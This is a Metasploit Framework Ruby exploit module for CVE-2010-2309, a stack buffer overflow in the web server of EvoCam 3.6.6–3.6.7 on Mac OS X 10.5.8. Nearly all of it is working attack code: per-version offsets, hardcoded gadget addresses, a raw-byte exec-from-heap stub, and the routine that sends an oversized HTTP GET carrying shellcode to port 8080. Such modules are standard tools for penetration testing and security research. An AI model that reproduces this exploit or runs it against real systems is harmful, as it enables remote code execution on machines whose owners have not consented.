MacOS X EvoCam HTTP GET Buffer Overflow



##

# $Id: evocam_webserver.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'MacOS X EvoCam HTTP GET Buffer Overflow',
            'Description' => %q{
                    This module exploits a stack buffer overflow in the web server provided with the EvoCam
                program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload
                from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6,
                3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerablity.
            },
            'Author'         =>
                [
                    'Paul Harrington', # Original Exploit Author and MSF Module
                    'dookie', # MSF Module Assistance
                ],
            'Version'        => '$Revision: 10617 $',
            'Platform'       => 'osx',
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    ['CVE', '2010-2309'],
                    ['OSVDB', '65043'],
                    ['URL', 'http://www.exploit-db.com/exploits/12835'],
                ],
            'Payload'        =>
                {
                    'Space' => 300,
                    'BadChars' => "\x00\xff\x09\x0a\x0b\x0c\x0c\x0d\x20",
                    'StackAdjustment' => -3500,
                },
            'Privileged'     => false,
            'Targets'        =>
                [
                    [ 'Mac OS X 10.5.8 x86, EvoCam 3.6.6',
                        {
                            'Arch' => ARCH_X86,
                            'Offset' => 1560,
                            'Writable' => 0x8fe66448,
                            'setjmp' => 0x8fe1cf38,
                            'strdup' => 0x8fe210dc,
                            'jmp_eax' => 0x8fe01041
                        }
                    ],
                    [ 'Mac OS X 10.5.8 x86, EvoCam 3.6.7',
                        {
                            'Arch' => ARCH_X86,
                            'Offset' => 1308,
                            'Writable' => 0x8fe66448,
                            'setjmp' => 0x8fe1cf38,
                            'strdup' => 0x8fe210dc,
                            'jmp_eax' => 0x8fe01041
                        }
                    ],

                ],
            'DisclosureDate' => 'Jun 01 2010',
            'DefaultTarget'  => 1))

        register_options(
            [
                Opt::RPORT(8080),
            ], self.class)
    end

    def make_exec_payload_from_heap_stub()
        frag0 =
            "\x90" + # nop
            "\x58" + # pop eax
            "\x61" + # popa
            "\xc3"   # ret

        frag1 =
            "\x90" +             # nop
            "\x58" +             # pop eax
            "\x89\xe0" +         # mov eax, esp
            "\x83\xc0\x0e" +     # add eax, byte +0xc
            "\x89\x44\x24\x08" + # mov [esp+0x8], eax
            "\xc3"               # ret

        setjmp = target['setjmp']
        writable = target['Writable']
        strdup = target['strdup']
        jmp_eax = target['jmp_eax']

        exec_payload_from_heap_stub =
            frag0 +
            [setjmp].pack('V') +
            [writable + 32, writable].pack("V2") +
            frag1 +
            "X" * 20 +
            [setjmp].pack('V') +
            [writable + 24, writable, strdup, jmp_eax].pack("V4") +
            "X" * 4
    end

    def exploit
        connect

        offset = target['Offset']

        buffer = "GET "
        buffer << rand_text_alpha_upper(offset)
        buffer << make_exec_payload_from_heap_stub()
        buffer << "\x90\x90"
        buffer << payload.encoded
        buffer << " HTTP/1.0\r\n\r\n"

        sock.put(buffer)
        sock.close

        handler()
        disconnect
    end

end